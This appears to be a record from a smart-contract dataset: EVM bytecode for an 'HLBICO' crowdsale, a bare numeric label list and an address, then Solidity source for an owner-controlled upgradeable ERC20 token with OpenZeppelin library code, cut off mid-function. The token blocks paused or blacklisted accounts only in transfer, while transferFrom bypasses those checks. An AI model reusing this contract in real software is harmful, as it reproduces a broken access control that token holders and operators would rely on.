16565b601181905550610ff8565b610f6f82826122f590919063ffffffff16565b9150610fae610f9d6103e8610f8f8560105461221190919063ffffffff16565b61229790919063ffffffff16565b601054611f3390919063ffffffff16565b601081905550610ff1610fe06103e8610fd28560115461221190919063ffffffff16565b61229790919063ffffffff16565b601154611f3390919063ffffffff16565b6011819055505b7ff3daf0fa83d5049e1ca3831cb505fe867090c0f5af177702b1adeb296b0414b76110216110a3565b611029611071565b60155460145460105460115460405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a15050565b6000600754905090565b60006110946011546010546122f590919063ffffffff16565b905090565b6000601554905090565b6000600954905090565b6000600454905090565b600060055442101580156110cd57506006544211155b905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611178576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806135946038913960400191505060405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111c1610a57565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f7c07f5a6c7576e884f7d9e01c457774a9059fb680caf5cdd02c86700d3ce1b5460405160405180910390a350565b61122681611db6565b15611299576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f484c4249434f3a206163636f756e7420697320626c61636b6c6973746564000081525060200191505060405180910390fd5b6112a28161233f565b50565b6000600654905090565b600860009054906101000a900460ff1615611315576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806134576027913960400191505060405180910390fd5b61131d610bbe565b61138f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f46696e616c697a61626c6543726f776473616c653a206e6f7420636c6f73656481525060200191505060405180910390fd5b6001600860006101000a81548160ff0219169083151502179055506113b2612405565b7f9270cc390c096600a1c17c44345a1ba689fafd99d97487b10cfccf86cf73183660405160405180910390a1565b60006007546113ed6110ad565b1015905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806135946038913960400191505060405180910390fd5b6114cd8161244b565b50565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006009546115266110ad565b1015905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806135946038913960400191505060405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061161c610a57565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f63c70fa8d3aed6b9cda2842d4152a4ccf78aab6db236b9b22ad898ca7541e11360405160405180910390a350565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860009054906101000a900460ff16905090565b6000600554905090565b6116c761169e565b61171c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806135126022913960400191505060405180910390fd5b611724611519565b1561177a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061347e6021913960400191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166351cff8d9826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561180557600080fd5b505af1158015611819573d6000803e3d6000fd5b5050505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611861610a57565b73ffffffffffffffffffffffffffffffffffffffff16146118cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806133606031913960400191505060405180910390fd5b6118d68161248f565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461197f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806135946038913960400191505060405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119c8610a57565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f70d5e3e3a45cc7fd9718d32fc5f8ab32f67c593330bfd9231cfd2467d0c74c6360405160405180910390a350565b60001515600c60149054906101000a900460ff16151514611ab2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806133916028913960400191505060405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806135946038913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bde576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806134ea6028913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133db6023913960400191505060405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c60146101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611d20610a57565b73ffffffffffffffffffffffffffffffffffffffff167f1136ccf874c0c85bed8c1488e35920195c98fda6c939c473a46510d35826d5a160405160405180910390a35050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f484c4249434f3a206163636f756e74206973207a65726f20616464726573730081525060200191505060405180910390fd5b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601854811015611f09576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180613557603d913960400191505060405180910390fd5b611f13828261258b565b611f1d828261263b565b5050565b6000611f2c826126da565b9050919050565b600080828401905083811015611fb1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b611fc582826128bd565b5050565b5050565b611fd56128cb565b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561205d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d8152602001806132c8603d913960400191505060405180910390fd5b6120af81601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3390919063ffffffff16565b601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006121006113e0565b8061210f575061210e6128d5565b5b905090565b61211d81611db6565b15612173576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135346023913960400191505060405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fdbe320accb74107e8da655fa6a1e2b454c3102a3985d4201aba99308881a410a60405160405180910390a250565b6000808314156122245760009050612291565b600082840290508284828161223557fe5b041461228c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806134366021913960400191505060405180910390fd5b809150505b92915050565b60006122d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128e1565b905092915050565b8060098190555050565b8060078190555050565b600061233783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129a7565b905092915050565b61234761169e565b61239c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061329a602e913960400191505060405180910390fd5b6123a4611519565b6123f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806133056031913960400191505060405180910390fd5b61240281612a67565b50565b61240d611519565b1561244157612440600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601754612c7a565b5b612449612dc5565b565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61249881611db6565b6124ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806133b96022913960400191505060405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167ff38e60871ec534937251cd91cad807e15f55f1f6815128faecc256e71994b49760405160405180910390a250565b6014546125e082601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3390919063ffffffff16565b1115612637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613336602a913960400191505060405180910390fd5b5050565b6126458282612f68565b600754612662826126546110ad565b611f3390919063ffffffff16565b11156126d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f43617070656443726f776473616c653a2063617020657863656564656400000081525060200191505060405180910390fd5b5050565b60006126e46110b7565b6126f157600090506128b8565b600061270883601654611f3390919063ffffffff16565b6016819055506015546016541115612828576127316015546016546122f590919063ffffffff16565b601681905550600061274e601654856122f590919063ffffffff16565b9050600081106127e157612798612789612766610cbf565b61277b601654886122f590919063ffffffff16565b61221190919063ffffffff16565b83611f3390919063ffffffff16565b91506011546010600082825403925050819055506127da6127cb6127ba610cbf565b60165461221190919063ffffffff16565b83611f3390919063ffffffff16565b9150612822565b60115460106000828254039250508190555061281f612810612801610cbf565b8661221190919063ffffffff16565b83611f3390919063ffffffff16565b91505b50612857565b612854612845612836610cbf565b8561221190919063ffffffff16565b82611f3390919063ffffffff16565b90505b6000612880606461287260058561221190919063ffffffff16565b61229790919063ffffffff16565b905061289581836122f590919063ffffffff16565b91506128ac81601754611f3390919063ffffffff16565b60178190555081925050505b919050565b6128c78282612ff0565b5050565b6128d36130b5565b565b60006006544211905090565b6000808311829061298d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612952578082015181840152602081019050612937565b50505050905090810190601f16801561297f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161299957fe5b049050809150509392505050565b6000838311158290612a54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a195780820151818401526020810190506129fe565b50505050905090810190601f168015612a465780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b612a6f610bbe565b612ac4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806134c96021913960400191505060405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111612b61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806133fe6038913960400191505060405180910390fd5b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663beabacc8612bec611d8c565b84846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015612c5e57600080fd5b505af1158015612c72573d6000803e3d6000fd5b505050505050565b60011515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1984846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612d1157600080fd5b505af1158015612d25573d6000803e3d6000fd5b505050506040513d6020811015612d3b57600080fd5b8101908080519060200190929190505050151514612dc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f43726f776473616c653a206d696e74696e67206661696c65640000000000000081525060200191505060405180910390fd5b5050565b612dcd611519565b15612edb57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166343d726d66040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612e3c57600080fd5b505af1158015612e50573d6000803e3d6000fd5b50505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639af6549a6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612ebe57600080fd5b505af1158015612ed2573d6000803e3d6000fd5b50505050612f5e565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c52dc416040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612f4557600080fd5b505af1158015612f59573d6000803e3d6000fd5b505050505b612f66613162565b565b612f706110b7565b612fe2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f54696d656443726f776473616c653a206e6f74206f70656e000000000000000081525060200191505060405180910390fd5b612fec8282613164565b5050565b61304281600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3390919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130b1600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612c7a565b5050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f340fa01346130fc610a57565b6040518363ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b15801561314757600080fd5b505af115801561315b573d6000803e3d6000fd5b5050505050565b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156131ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061349f602a913960400191505060405180910390fd5b6000811415613261576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f43726f776473616c653a20776569416d6f756e7420697320300000000000000081525060200191505060405180910390fd5b505056fe484c4249434f3a20636f65662069736e27742077697468696e2072616e6765206f6620617574686f72697a65642076616c756573526566756e6461626c65506f737444656c697665727943726f776473616c653a206e6f742066696e616c697a6564484c4249434f3a205f706f737456616c696461746550757263686173652062656e696669636961727920697320746865207a65726f2061646472657373526566756e6461626c65506f737444656c697665727943726f776473616c653a20676f616c206e6f742072656163686564484c4249434f3a2043616e6e6f7420696e76657374206d6f7265207468616e204b5943206c696d69742e484c4249434f3a2063616c6c657220646f6573206e6f742068617665207468652057686974656c697374656420726f6c65484c4249434f3a20636f6e747261637420697320616c726561647920696e697469616c697a65642e484c4249434f3a206163636f756e74206973206e6f7420626c61636b6c6973746564484c4249434f3a2072657365727665416464726573732063616e6e6f74206265203078506f737444656c697665727943726f776473616c653a2062656e6566696369617279206973206e6f742064756520616e7920746f6b656e73536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7746696e616c697a61626c6543726f776473616c653a20616c72656164792066696e616c697a6564526566756e6461626c6543726f776473616c653a20676f616c207265616368656443726f776473616c653a2062656e656669636961727920697320746865207a65726f2061646472657373506f737444656c697665727943726f776473616c653a206e6f7420636c6f736564484c4249434f3a2077686974656c697374696e67416464726573732063616e6e6f74206265203078526566756e6461626c6543726f776473616c653a206e6f742066696e616c697a6564484c4249434f3a206163636f756e7420616c726561647920626c61636b6c6973746564484c4249434f3a20496e766573746d656e74206d7573742062652067726561746572207468616e206f7220657175616c20746f20302e30303120657468484c4249434f3a206f6e6c7920746865206465706c6f79696e6720616464726573732063616e2063616c6c2074686973206d6574686f642ea264697066735822122024a959e4535dfd78a0a6f9274ca04298ff3e88610a8fc4167c449a83b1f8962b64736f6c63430007060033
[ 16, 19, 11 ]
0xf2174a0E280c00764089b4be0Ec4bf4C9EC37D28
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; contract UpgradeableToken is ERC20Upgradeable, OwnableUpgradeable, UUPSUpgradeable { bool public paused; mapping (address=>bool) public blacklisted; function initialize() initializer public { __ERC20_init("Maison Reserve", "MAISON"); __Ownable_init(); __UUPSUpgradeable_init(); _mint(msg.sender, 10**11 * 10**18); } function _authorizeUpgrade(address) internal override onlyOwner {} function blacklist(address _user) external onlyOwner { require(!blacklisted[_user], "User already blacklisted"); blacklisted[_user] = true; } function whitelist(address _user) external onlyOwner { require(blacklisted[_user], "User already whitelisted"); blacklisted[_user] = false; } function pause() external onlyOwner { require(!paused, "Already paused"); paused = true; } function unpause() external onlyOwner { require(paused, "Not paused"); paused = false; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(!paused, 'Token paused'); require(!blacklisted[msg.sender], 'You cannot send or receive tokens.'); require(!blacklisted[recipient], 'The recipient cannot send or receive tokens.'); _transfer(msg.sender, recipient, amount); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); 